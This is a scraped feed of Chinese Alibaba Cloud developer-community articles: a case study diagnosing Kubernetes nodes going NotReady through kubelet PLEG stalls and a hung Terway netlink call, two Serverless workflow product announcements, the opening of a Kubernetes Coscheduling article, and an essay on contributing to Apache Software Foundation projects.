
    问题现象

    这个问题的现象,也是集群节点会变成 NotReady 状态。问题可以通过重启节点暂时解决,但是在经过大概 20 天左右之后,问题会再次出现。

    1.png

    问题出现之后,如果我们重启节点上 kubelet,则节点会变成 Ready 状态,但这种状态只会持续三分钟。这是一个特别的情况。

    大逻辑

    在具体分析这个问题之前,我们先来看一下集群节点就绪状态背后的大逻辑。K8s 集群中,与节点就绪状态有关的组件,主要有四个,分别是:集群的核心数据库 etcd、集群的入口 API Server、节点控制器以及驻守在集群节点上直接管理节点的 kubelet。

    2.png

    一方面,kubelet 扮演的是集群控制器的角色,它定期从 API Server 获取 Pod 等相关资源的信息,并依照这些信息,控制运行在节点上 Pod 的执行;另外一方面,kubelet 作为节点状况的监视器,它获取节点信息,并以集群客户端的角色,把这些状况同步到 API Server。

    在这个问题中,kubelet 扮演的是第二种角色。

    Kubelet 会使用上图中的 NodeStatus 机制,定期检查集群节点状况,并把节点状况同步到 API Server。而 NodeStatus 判断节点就绪状况的一个主要依据,就是 PLEG。

    PLEG是Pod Lifecycle Events Generator的缩写,基本上它的执行逻辑,是定期检查节点上Pod运行情况,如果发现感兴趣的变化,PLEG 就会把这种变化包装成 Event 发送给 Kubelet 的主同步机制 syncLoop 去处理。但是,在 PLEG 的 Pod 检查机制不能定期执行的时候,NodeStatus 机制就会认为,这个节点的状况是不对的,从而把这种状况同步到 API Server。

    而最终把 kubelet 上报的节点状况,落实到节点状态的是节点控制这个组件。这里我故意区分了 kubelet 上报的节点状况,和节点的最终状态。因为前者,其实是我们 describe node 时看到的 Condition,而后者是真正节点列表里的 NotReady 状态。

    3.png

    就绪三分钟

    在问题发生之后,我们重启 kubelet,节点三分钟之后才会变成 NotReady 状态。这个现象是问题的一个关键切入点。

    4.png

    在解释它之前,请大家看一下官方这张 PLEG 示意图。这个图片主要展示了两个过程。

    • 一方面,kubelet 作为集群控制器,从 API Server 处获取 pod spec changes,然后通过创建 worker 线程来创建或结束掉 pod;
    • 另外一方面,PLEG 定期检查容器状态,然后把状态,以事件的形式反馈给 kubelet。

    在这里,PLEG 有两个关键的时间参数:一个是检查的执行间隔,另外一个是检查的超时时间。以默认情况为准,PLEG 检查会间隔一秒,换句话说,每一次检查过程执行之后,PLEG 会等待一秒钟,然后进行下一次检查;而每一次检查的超时时间是三分钟,如果一次 PLEG 检查操作不能在三分钟内完成,那么这个状况,会被上一节提到的 NodeStatus 机制,当做集群节点 NotReady 的凭据,同步给 API Server。

    而我们之所以观察到节点会在重启 kubelet 之后就绪三分钟,是因为 kubelet 重启之后,第一次 PLEG 检查操作就没有顺利结束。节点就绪状态,直到三分钟超时之后,才被同步到集群。

    如下图,上边一行表示正常情况下 PLEG 的执行流程,下边一行则表示有问题的情况。relist 是检查的主函数。

    5.png

    止步不前的 PLEG

    了解了原理,我们来看一下 PLEG 的日志。日志基本上可以分为两部分,其中 skipping pod synchronization 这部分是 kubelet 同步函数 syncLoop 输出的,说明它跳过了一次 pod 同步;而剩余 PLEG is not healthy: pleg was last seen active ago; threshold is 3m0s,则很清楚的展现了,上一节提到的 relist 超时三分钟的问题。

    17:08:22.299597 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m0.000091019s ago; threshold is 3m0s]
    17:08:22.399758 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m0.100259802s ago; threshold is 3m0s]
    17:08:22.599931 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m0.300436887s ago; threshold is 3m0s]
    17:08:23.000087 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m0.700575691s ago; threshold is 3m0s]
    17:08:23.800258 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m1.500754856s ago; threshold is 3m0s]
    17:08:25.400439 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m3.100936232s ago; threshold is 3m0s]
    17:08:28.600599 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m6.301098811s ago; threshold is 3m0s]
    17:08:33.600812 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m11.30128783s ago; threshold is 3m0s]
    17:08:38.600983 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m16.301473637s ago; threshold is 3m0s]
    17:08:43.601157 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m21.301651575s ago; threshold is 3m0s]
    17:08:48.601331 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m26.301826001s ago; threshold is 3m0s]

    能直接看到 relist 函数执行情况的,是 kubelet 的调用栈。我们只要向 kubelet 进程发送 SIGABRT 信号,golang 运行时就会帮我们输出 kubelet 进程的所有调用栈。需要注意的是,这个操作会杀死 kubelet 进程。但是因为这个问题中,重启 kubelet 并不会破坏重现环境,所以影响不大。

    以下调用栈是 PLEG relist 函数的调用栈。从下往上,我们可以看到,relist 等在通过 grpc 获取 PodSandboxStatus。

    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.(*Stream).Header()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.recvResponse()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.invoke()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.Invoke()
    kubelet: k8s.io/kubernetes/pkg/kubelet/apis/cri/runtime/v1alpha2.(*runtimeServiceClient).PodSandboxStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/remote.(*RemoteRuntimeService).PodSandboxStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/kuberuntime.instrumentedRuntimeService.PodSandboxStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/kuberuntime.(*kubeGenericRuntimeManager).GetPodStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/pleg.(*GenericPLEG).updateCache()
    kubelet: k8s.io/kubernetes/pkg/kubelet/pleg.(*GenericPLEG).relist()
    kubelet: k8s.io/kubernetes/pkg/kubelet/pleg.(*GenericPLEG).(k8s.io/kubernetes/pkg/kubelet/pleg.relist)-fm()
    kubelet: k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.JitterUntil.func1(0xc420309260)
    kubelet: k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.JitterUntil()
    kubelet: k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.Until()

    使用 PodSandboxStatus 搜索 kubelet 调用栈,很容易找到下边这个线程,此线程是真正查询 Sandbox 状态的线程,从下往上看,我们会发现这个线程在 Plugin Manager 里尝试去拿一个 Mutex。

    kubelet: sync.runtime_SemacquireMutex()kubelet: sync.(*Mutex).Lock()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim/network.(*PluginManager).GetPodNetworkStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim.(*dockerService).getIPFromPlugin()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim.(*dockerService).getIP()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim.(*dockerService).PodSandboxStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/apis/cri/runtime/v1alpha2._RuntimeService_PodSandboxStatus_Handler()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).processUnaryRPC()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).handleStream()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).serveStreams.func1.1()
    kubelet: created by k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).serveStreams.func1

    而这个 Mutex 只有在 Plugin Manager 里边有用到,所以我们查看所有 Plugin Manager 相关的调用栈。线程中一部分在等 Mutex,而剩余的都是在等 Terway cni plugin。

    kubelet: syscall.Syscall6()kubelet: os.(*Process).blockUntilWaitable()
    kubelet: os.(*Process).wait()kubelet: os.(*Process).Wait()
    kubelet: os/exec.(*Cmd).Wait()kubelet: os/exec.(*Cmd).Run()
    kubelet: k8s.io/kubernetes/vendor/github.com/containernetworking/cni/pkg/invoke.(*RawExec).ExecPlugin()
    kubelet: k8s.io/kubernetes/vendor/github.com/containernetworking/cni/pkg/invoke.(*PluginExec).WithResult()
    kubelet: k8s.io/kubernetes/vendor/github.com/containernetworking/cni/pkg/invoke.ExecPluginWithResult()
    kubelet: k8s.io/kubernetes/vendor/github.com/containernetworking/cni/libcni.(*CNIConfig).AddNetworkList()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim/network/cni.(*cniNetworkPlugin).addToNetwork()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim/network/cni.(*cniNetworkPlugin).SetUpPod()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim/network.(*PluginManager).SetUpPod()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim.(*dockerService).RunPodSandbox()
    kubelet: k8s.io/kubernetes/pkg/kubelet/apis/cri/runtime/v1alpha2._RuntimeService_RunPodSandbox_Handler()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).processUnaryRPC()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).handleStream()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).serveStreams.func1.1()

    无响应的 Terwayd

    在进一步解释这个问题之前,我们需要区分下 Terway 和 Terwayd。本质上来说,Terway 和 Terwayd 是客户端服务器的关系,这跟 flannel 和 flanneld 之间的关系是一样的。Terway 是按照 kubelet 的定义,实现了 cni 接口的插件。

    6.png

    而在上一节最后,我们看到的问题,是 kubelet 调用 CNI terway 去配置 pod 网络的时候,Terway 长时间无响应。正常情况下这个操作应该是秒级的,非常快速。而出问题的时候,Terway 没有正常完成任务,因而我们在集群节点上看到大量 terway 进程堆积。

    7.png

    同样的,我们可以发送 SIGABRT 给这些 terway 插件进程,来打印出进程的调用栈。下边是其中一个 terway 的调用栈。这个线程在执行 cmdDel 函数,其作用是删除一个 pod 网络相关配置。

    kubelet: net/rpc.(*Client).Call()
    kubelet: main.rpcCall()kubelet: main.cmdDel()
    kubelet: github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/cni/pkg/skel.(*dispatcher).checkVersionAndCall()
    kubelet: github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/cni/pkg/skel.(*dispatcher).pluginMain()
    kubelet: github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/cni/pkg/skel.PluginMainWithError()
    kubelet: github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/cni/pkg/skel.PluginMain()

    以上线程通过 rpc 调用 terwayd,来真正的移除 pod 网络。所以我们需要进一步排查 terwayd 的调用栈来进一步定位此问题。Terwayd 作为 Terway 的服务器端,其接受 Terway 的远程调用,并替 Terway 完成其 cmdAdd 或者 cmdDel 来创建或者移除 pod 网络配置。

    我们在上边的截图里可以看到,集群节点上有成千 Terway 进程,他们都在等待 Terwayd,所以实际上 Terwayd 里,也有成千的线程在处理 Terway 的请求。

    使用下边的命令,可以在不重启 Terwayd 的情况下,输出调用栈。

    curl  --unix-socket /var/run/eni/eni.socket 'http:/debug/pprof/goroutine?debug=2'

    因为 Terwayd 的调用栈非常复杂,而且几乎所有的线程都在等锁,直接去分析锁的等待持有关系比较复杂。这个时候我们可以使用“时间大法”,即假设最早进入等待状态的线程,大概率是持有锁的线程。

    经过调用栈和代码分析,我们发现下边这个是等待时间最长(1595 分钟),且拿了锁的线程。而这个锁会 block 所有创建或者销毁 pod 网络的线程。

    goroutine 67570 [syscall, 1595 minutes, locked to thread]:
    syscall.Syscall6()
    github.com/AliyunContainerService/terway/vendor/golang.org/x/sys/unix.recvfrom()
    github.com/AliyunContainerService/terway/vendor/golang.org/x/sys/unix.Recvfrom()
    github.com/AliyunContainerService/terway/vendor/github.com/vishvananda/netlink/nl.(*NetlinkSocket).Receive()
    github.com/AliyunContainerService/terway/vendor/github.com/vishvananda/netlink/nl.(*NetlinkRequest).Execute()
    github.com/AliyunContainerService/terway/vendor/github.com/vishvananda/netlink.(*Handle).LinkSetNsFd()
    github.com/AliyunContainerService/terway/vendor/github.com/vishvananda/netlink.LinkSetNsFd()
    github.com/AliyunContainerService/terway/daemon.SetupVethPair()github.com/AliyunContainerService/terway/daemon.setupContainerVeth.func1()
    github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/plugins/pkg/ns.(*netNS).Do.func1()
    github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/plugins/pkg/ns.(*netNS).Do.func2()

    原因深入分析前一个线程的调用栈,我们可以确定三件事情。

    • 第一,Terwayd 使用了 netlink 这个库来管理节点上的虚拟网卡,IP 地址及路由等资源,且 netlink 实现了类似 iproute2 的功能;
    • 第二,netlink 使用 socket 直接和内核通信;
    • 第三,以上线程等在 recvfrom 系统调用上。

    这样的情况下,我们需要去查看这个线程的内核调用栈,才能进一步确认这个线程等待的原因。因为从 goroutine 线程号比较不容易找到这个线程的系统线程 id,这里我们通过抓取系统的 core dump 来找出上边线程的内核调用栈。

    在内核调用栈中,搜索 recvfrom,定位到下边这个线程。基本上从下边的调用栈上,我们只能确定,此线程等在 recvfrom 函数上。

    PID: 19246  TASK: ffff880951f70fd0  CPU: 16  COMMAND: "terwayd" 
    #0 [ffff880826267a40] __schedule at ffffffff816a8f65 
    #1 [ffff880826267aa8] schedule at ffffffff816a94e9 
    #2 [ffff880826267ab8] schedule_timeout at ffffffff816a6ff9 
    #3 [ffff880826267b68] __skb_wait_for_more_packets at ffffffff81578f80 
    #4 [ffff880826267bd0] __skb_recv_datagram at ffffffff8157935f 
    #5 [ffff880826267c38] skb_recv_datagram at ffffffff81579403 
    #6 [ffff880826267c58] netlink_recvmsg at ffffffff815bb312 
    #7 [ffff880826267ce8] sock_recvmsg at ffffffff8156a88f 
    #8 [ffff880826267e58] SYSC_recvfrom at ffffffff8156aa08 
    #9 [ffff880826267f70] sys_recvfrom at ffffffff8156b2fe
    #10 [ffff880826267f80] tracesys at ffffffff816b5212 
    (via system_call)

    这个问题进一步深入排查,是比较困难的,这显然是一个内核问题,或者内核相关的问题。我们翻遍了整个内核 core,检查了所有的线程调用栈,看不到其它可能与这个问题相关联的线程。

    修复

    这个问题的修复基于一个假设,就是 netlink 并不是 100% 可靠的。netlink 可以响应很慢,甚至完全没有响应。所以我们可以给 netlink 操作增加超时,从而保证就算某一次 netlink 调用不能完成的情况下,terwayd 也不会被阻塞。

    总结

    在节点就绪状态这种场景下,kubelet 实际上实现了节点的心跳机制。kubelet 会定期把节点相关的各种状态,包括内存、PID、磁盘,当然也包括本文中关注的就绪状态等,同步到集群管控。kubelet 在监控或者管理集群节点的过程中,使用了各种插件来直接操作节点资源。这包括网络、磁盘,甚至容器运行时等插件,这些插件的状况,会直接应用 kubelet 甚至节点的状态。

    <关注公众号,回复 排查 即可下载本书>

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

    ]]>
    阿里云Serverless工作流正式商用,轻松拥有云上自动生产线-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Serverless工作流来了!

    发布会传送门

    抢先了解Serverless技术干货

    4月,阿里云Serverless工作流正式商业化,这是一款用于协调多个分布式任务执行的全托管 Serverless 云服务。产品致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作,让用户聚焦业务逻辑开发。

    每家企业都会遇到工作流,诸如企业内部审批、采购订单、ETL、自动化运维等日常企业事务。而对于大数据AI、基因、音视频等行业,更离不开多媒体视频转码审核、大数据处理、机器学习流水线、基因测序工作流等任务。

    Serverless工作流,将流程逻辑与任务执行分开,支持不同架构、不同网络环境、不同语言编写的应用,提供全面的服务编排能力、完善的流程状态管理和可视化监控、运维全托管式省心服务。同时,将成本降低到20CU,支持异步方式的无限长时间调用,为广大企业用户提供了高容错、高可维护性和高观测性,解锁复杂和冗长,让用户聚焦业务逻辑的开发。

    据悉,著名无人驾驶企业图森未来,基于Serverless工作流产品实现了自动化的数据处理平台,结合使用消息服务打通云上云下数据,优化原有的本地任务流,高效管理任务的生命周期及数据共享。

    "Serverless 工作流是阿里云 Serverless 产品体系中的关键一环。" 阿里云 Serverless产品负责人杨皓然表示,“ 通过 Serverless 工作流,用户能够将函数计算、视觉智能平台等多个阿里云服务,或者自建的服务,以简单直观的方式编排为工作流,迅速构建弹性高可用的云原生应用。”
    01.png

    ]]>
    从图森未来的数据处理平台,看Serverless 工作流应用场景-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Serverless工作流来了!

    发布会传送门

    抢先了解Serverless技术干货

    4月,阿里云Serverless工作流正式商业化,这是一款用于协调多个分布式任务执行的全托管 Serverless 云服务。产品致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作,让用户聚焦业务逻辑开发。

    精准打造云上自动生产线,Serverless工作流正式商用

    工作流是一种非常常见的场景,比如企业内部审批、采购订单、ETL等日常企业事务,或者大数据处理流水线,常规或定制化自动化运维等。此外,音视频行业的多媒体文件分片转码、格式转换、审核校验和人脸识别等长时任务,电商旅游行业的客户线上订单,AI行业的机器学习流水线, 生信行业的基因测序工作流。

    这些场景面临着以下难点:一般由众多异步分布式任务组成,控制逻辑和任务逻辑交织在一起,流程复杂冗长;分布式任务可能跨越公共云和本地机房,安全的打通网络代价很大;整个工作流执行完毕耗时过长,造成资源占用的浪费;涉及异步且关键业务流程,务必保证数据一致性;繁复的执行步骤如何进行可视化监控等等。

    Serverless工作流正式针对这些痛点,分离控制逻辑与任务逻辑,细化责任,便于管理和维护; 将流程以模版方式统一定义控制,简化编排,通过串联或并行等多种方式编排任务;支持函数,队列,云服务等多种任务类型,打通公共云和企业内网;支持最长1年的执行任务,但却采用Serverless计费模型, 按需付费;动态调用并发函数,保持状态和消息的持久化,信息不丢失且最终同步,提高容错性,自动处理异常;流程进度可视化,历史执行可追溯性等等。
    技术01.png

    助力图森未来,自动化数据处理平台, 让一切简单可靠

    图森未来是一家专注于L4级别无人驾驶卡车技术研发与应用的人工智能企业,面向全球提供可大规模商业化运营的无人驾驶卡车技术,为全球物流运输行业赋能。目前已完成D轮融资,估值超过10亿美元。无人驾驶技术研发依赖大量的路测试验数据积累,而高效进行路测、快速对路测数据进行处理来指导模型的更新迭代是这类场景的核心诉求。

    路测过程中会有大量数据产生,而对这些数据的处理流程则复杂多变,即使对于同一批数据,不同的业务小组也会有不同的使用及处理方式。如何有效管理不同的数据处理流程、降低人为介入频率能够大幅的提高生产效率。

    路测不定时运行的特点使得流程编排任务运行时间点、运行时长具有极大的不确定性,本地机房独自建立流程管理系统难以最大优化机器利用率,造成资源浪费。而图森未来本地已有许多单元化业务处理脚本及应用程序,但因为各种限制而无法全量的迁移上云,这也对如何合理化使用云上服务带来了挑战。

    另外,由于处理流程的步骤繁多,不同任务间的数据共享变得十分重要。任务之间在相互依赖的情况下,非常考验系统可靠性。因此,对于复杂流程的步骤间的状态及数据管理也是业务所面临的一项挑战。
    技术02.png
    针对上述情况,图森未来开始探索数据处理平台的自动化。阿里云 Serverless 工作流按执行调度的次数计费,具有易用易集成、运维简单等诸多优点,能够很好的解决上述场景中所遇到的问题,非常适合这类不定时运行的离线任务场景。Serverless 工作流还支持编排本地或自建机房的任务,图森未来通过使用 Serverless 工作流原生支持的消息服务MNS解决了云上云下的数据打通问题,使得本地的原有任务得到很好的编排及管理。

    除了调度外,Serverless 工作流也支持对任务的状态及执行过程中所产生的数据进行维护。图森未来通过使用任务的输入输出映射及状态汇报机制,高效的管理了流程中各任务的生命周期及相互间的数据传递。

    在未来,随着业务规模的扩大,图森未来将持续优化离线大数据处理流程的运行效率及自动化水平。通过各种探索,图森未来将进一步提升工程团队的效率,将更多的精力和资金投入到业务创新中去。

    Serverless工作流更多应用场景

    技术03.png
    各个公司会有如下的一些典型工作流场景。这里简单介绍三个典型应用:
    订单流程审批,可支持1年执行时长
    对于电商、旅行行业的订单,或者企业内部的日常各类申请, 从下发到生效都要经过多个环节,需要跨公司办公网络和公共云的多网络环境,途径多个环节的多步骤分布式,可能涉及人工介入,最终数据确保强一致性。目前Serverless工作流默认的支持最长 1 年的执行,以及并行触发 1 万个流程。

    技术04.png

    多媒体文件处理,降低失败率、提升吞吐量
    Serverless工作流同样适用多任务编排,比如多媒体文件如转码、截帧、人脸识别、语音识别、审核上传等各类处理。用户可以编排成一个完整的处理流程,通过函数计算提交媒体处理(IMM)任务(或自建处理器),产出一个符合业务需求的输出。各任务的执行错误异常可以被可靠的重试,大大提升多媒体任务处理吞吐量。
    对于视频点播、 视频转码等重度依赖算力的任务如果采用Serverless方式搭建,将函数计算和Serverless工作流组合使用,仅需3人天便可上线落地。

    技术05.jpeg

    自动化运维,流程进度可视化跟进
    自动化运维常见有步骤繁琐时间长短不一,单机脚本可靠性低,依赖复杂等常见的挑战,另外进度无法可视化。Serverless 工作流+函数计算的流程可以很好地应对这些挑战。例如软件自动化部署从构建Docker容器,上传容器镜像,开始并追踪各节点下拉镜像并启动新版本镜像的容器,每一步函数产生的日志会被保存到日志服务可供查询分享。基于工作流的自动化工具相比单机运维脚本具有高可用,自带错误处理机制和进度图形化的特点。
    技术06.png
    "Serverless 工作流是阿里云 Serverless 产品体系中的关键一环。" 阿里云 Serverless产品负责人杨皓然表示,“ 通过 Serverless 工作流,用户能够将函数计算、视觉智能平台等多个阿里云服务,或者自建的服务,以简单直观的方式编排为工作流,迅速构建弹性高可用的云原生应用。”

    据悉,阿里云在2017年推出函数计算, 该服务根据应用负载变化实时智能地弹性扩缩容,1分钟完成上万实例的伸缩并保证稳定的延时。目前已经支撑微博、芒果TV、华大基因、图森未来、石墨科技等用户的关键应用,轻松应对业务洪峰。

    ]]>
    Kubernetes Scheduler Framework 扩展: 1. Coscheduling-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言

    为什么Kubernetes需要Coscheduling功能?

    Kubernetes目前已经广泛的应用于在线服务编排,为了提升集群的的利用率和运行效率,我们希望将Kubernetes作为一个统一的管理平台来管理在线服务和离线作业。但是默认的调度器是以Pod为调度单元进行依次调度,不会考虑Pod之间的相互关系。但是很多数据计算类的作业具有All-or-Nothing特点,要求所有的任务都成功创建后才能正常运行,如果只是部分任务启动的话,启动的任务将持续等待剩余的任务被调度。

    如下图所示,JobA需要4个Pod同时启动,才能正常运行。Kube-scheduler依次调度3个Pod并创建,到第4个Pod时,集群资源不足,则JobA的3个Pod处于空等的状态,导致集群资源浪费。

    a7625e7e076ea1714d623c1d3bf0dfd1.png]]> 走进ASF系列 - 如何成为一个合格的ASF贡献者(Contributor)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里土话

    ASF是一个开源组织,他有自身的文化,阿里是一个要活好102年的公司,其文化底蕴非凡!分享ASF之前总想或多或少的和大家分享一些阿里的味道!

    • 给世界带来微小而美好的改变
    • 把幸运种子种到别人身上去,你才会有幸运
    • Never, Never, Never Give Up(永不放弃)

    没错,阿里人看到上面的三句话会倍感亲切,因为上面三句都是 “阿里土话”。虽然是阿里土话,但我认为其有放诸四海而皆准的魅力!这些话,同样适用于激发和指导你成为合格的开源贡献者!不经意间看了一眼窗外,心里开心默笑,其实阿里每个角落都充满这阿里气息:

    image.png

    其实每个人参与社区贡献的机缘不一样,但无外乎两种:

    • 偶发事件 - 由于参与某项工作,无选择的就参与了某个开源项目。(我就是这种,很自然的就跟着 蒋晓伟 老师踏入了Apache Flink之旅)
    • 因爱而求 - 每个码农都有一颗想让自己的的代码被应用全球的梦想追求!这梦想的实现要依托有开源的力量,ASF完全可以为你营造最好的实现梦想的环境~

    image.png

    给个理由

    也许目前的你既没有工作的需要,也没有产生对开源产生任何爱意❤️。但了解一件事情总没有坏处,了解参与开源的利好,也许明天你就踏上了开源之旅!

    • 顺势而为 - 如果你是一个码农,那么参与开源是一种must to have的事情,目前开源领域形式大好,各大公司纷纷拥抱开源,比如:Google,Alibaba,Hortonworks, Tencent, Facebook等等。参与开源无疑是扩大了生存的空间。
    • 业界身份证 - 参与开源就是在一点一滴的描绘你的业界身份证,你的开源贡献可以公示全球,由一行代码,一句文档的贡献,到成为某个项目的管理者(PMC成员),到成为 ASF Member 甚至 成为董事会成员,这些就像你曾经为之努力的学士学位,硕士学位,博士学位一样为世人所认可!不夸张的说,某些情况甚至比学位证书还实用!
    • 无国界导师 - 参与开源还有一个特别特别特别重大的利好,就是你可以在你所关注的领域寻找到最好的导师,所谓最好,不是牛,最好是最适合!所谓“三人行,必有我师”,社区交流最初你会感觉和业界大牛无法沟通,因为他的一句话,需要分解成十句才能懵懵懂,甚至不懂!这个不是大牛原因,也不是你的原因,是大牛对你水平的了解不足导致,但即大牛便了解你的水平,也很难让大牛将一句话分解成十句甚至百句话讨论你关注的问题,不是大牛不愿意,更多是我们不好意思:)。所以说,要“门当户对”找到 社区比你水平略高,同时你也能给人家一些反哺的贡献者长时间交流。目前ASF有7600+的Committer,就算是某一个项目,也应该有几十个Committer和数以百计的贡献者,总会遇到可以和你一起进步的小伙伴!虽不曾谋面,却已熟若亲朋!
    • 全球性分享 - 目前ASF项目有140多个领域,参与者覆盖230个国家。如果你小有成就,想将你的知识分享给更多的人,想利用的开源知识帮助更多的人,那么无疑ASF为你提供了这样的平台!你又何尝不能成为上面“无国界导师”中的一员的导师呢!
    • 最佳实践 - 不知 - 了解 - 有方案 - 最佳方案,开源是一个智慧的集结地,一个功能可能有几十种实现方式,这并不是一两个人或者某一个小团队能考虑到(ALL)的,然而在开源一个问题,你在考虑的同时,可能在世界的某个角落,某些角落还有其他人或团队在考虑解决方案,当大家共享方案的时候,智慧的火花将会产生!
    • 领导力塑造 - ASF有公司和项目的治理方式,不论你目前是否一个(技术)管理者,参与开源贡献你都有机会挖掘你自身的领导力。 TL,可以是 Team Lead,也可以是 Tech lead,作为一个码农,往往对 Tech lead 更加情有独钟!在开源贡献一向遵循 “正确的就是拥护的,正确的就是坚持的”!如果你一贯的在社区发出自己独到的见解(管理&技术),那么势必会塑造你独特的领导力,社区领导力是内心驱动的影响力,所以的拥护者都是无外界压力,无情感偏见,发自内心的崇拜赞许!如果你能达到这样的成就,将胜过你职业的晋升,当然这个也会促进你的职业晋升!
    • 给世界带来微小而美好的改变
      毋以善小而不为,小善举大美好!有的时候一个文档优化,甚至一个typo的贡献都会让成千上万的人获益。更有意思的是很多开源贡献者都是从文档贡献开始的 :)一个很有意思的统计,28%的开源贡献来自偶然的文档改进

    Casual contributions are far from being trivial. After a manual inspection of a sample of casual contributions, we found that although 28.64% of them are related to grammar and typo fixes.

    • 认真生活,快乐工作 - 参与开源不仅仅是工作或业余爱好的演练台,也是生活的一部分,他会让你在快乐工作的同时寻找到“臭味相投”的挚友!通过参与Apache Flink项目我也交到了几位德国好朋友,甚至有些好朋友还成为了我的儿子的好朋友!:)看看下图有没有你和我共同的朋友?世界很小~?

    show.jpg

    给个原则

    没有规矩,不成方圆,如果上面的理由足够打动你,那么我再给你一些参与开源的原则:

    • 给世界带来微小而美好的改变
      始终坚信滴水成河的道理,社区贡献在于积累,贵在坚持,不因善小而不为,任何贡献都会使得社区变得更加美好!
    • 公开沟通 - 参与开源的一个重要的原则就是公开沟通,任何问题不论大小,都要在可以被追溯,可以被任何感兴趣的人查阅的方式进行讨论。比如:邮件列表,JIRA上,PR中等。切记不要单独私信讨论,公开讨论有助于更多的人参与,而且还确保了在讨论过程中一些无意识的错误可以很容易被发现和纠正。
    • 保持尊重 - 社区的任何贡献都是以自愿为原则的,不能强迫任何人做事情,也不要无礼貌的敦促任何人做事情的进度(除非特殊情况)。更不能因为意见不通就进行人身攻击,不要以为这好笑,其实是真是发生过的!尊重是相互的,你给予我春风,我自送你一缕芳香!大家努力营造开心和谐的社区氛围。
    • 简明扼要 - 我们可以大胆的在社区提问,追问!但切记在提问之前将自己的问题反复思考,这是对自己负责也是对其他社区贡献者的尊重!因为你的一次问题描述可能将被数百人阅读。写一封简明扼要的邮件意味着人们可以尽可能有效地理解你的意图。如果需要详细说明,请考虑添加摘要。也就是,你的问题描述要简明扼要(这个很能力有关,尽自己最好就行),尽量写清楚上下文,你在什么情况下,遇到了怎样的问题,如何问题再现等等,你的描述越简明扼要,越清晰完整,越容易被人取得别人帮助!
    • 前进一小步,文明一大步 :)
      这可不是 WC 用语,而是确确实实的利他原则。阿里巴巴国际化战役中有一个要求,就是参与国际化建设的阿里人员,到哪个国家,就必须用当地的语言与当地客户沟通。这体现了足够的尊重,体现了足够的服务前的准备和付出!我们在开源社区问问题也是一样的,不能遇到问题,不加思索的就向社区提问,在提问之前要先进行各种尝试,各种资料的查阅,社区已有问题的查阅,同时带上自己的观点去提问,让想帮助你的社区人员看到你在设个问题上的努力。
    • 把幸运种子种到别人身上去,你才会有幸运
      我们不仅仅是问题的提出者,慢慢我们自己也变成问题的解决这,由社区求助者变成社区救助员!努力寻求自己反哺开源社区的机会,为他人付出也是为自己积累!所谓 “为自己,照亮他人!”。加入你相信来世今生的话,这里有个故事分享给给你:

    从前有两个要投胎转世的人,在投胎之前有机会选择投胎之后是做“一生向别人索取的人”还是做“一生施惠于他人的人”,选择了“一生向别人索取的人”的那个,投胎做了 乞丐,而选择了“一生施惠于他人的人”的那个做了富翁!

    所以做社区也一样,努力做施惠于别人的人,就是在社区德高望重,具有领导力的人!:)

    • Never, Never, Never Give Up(永不放弃)
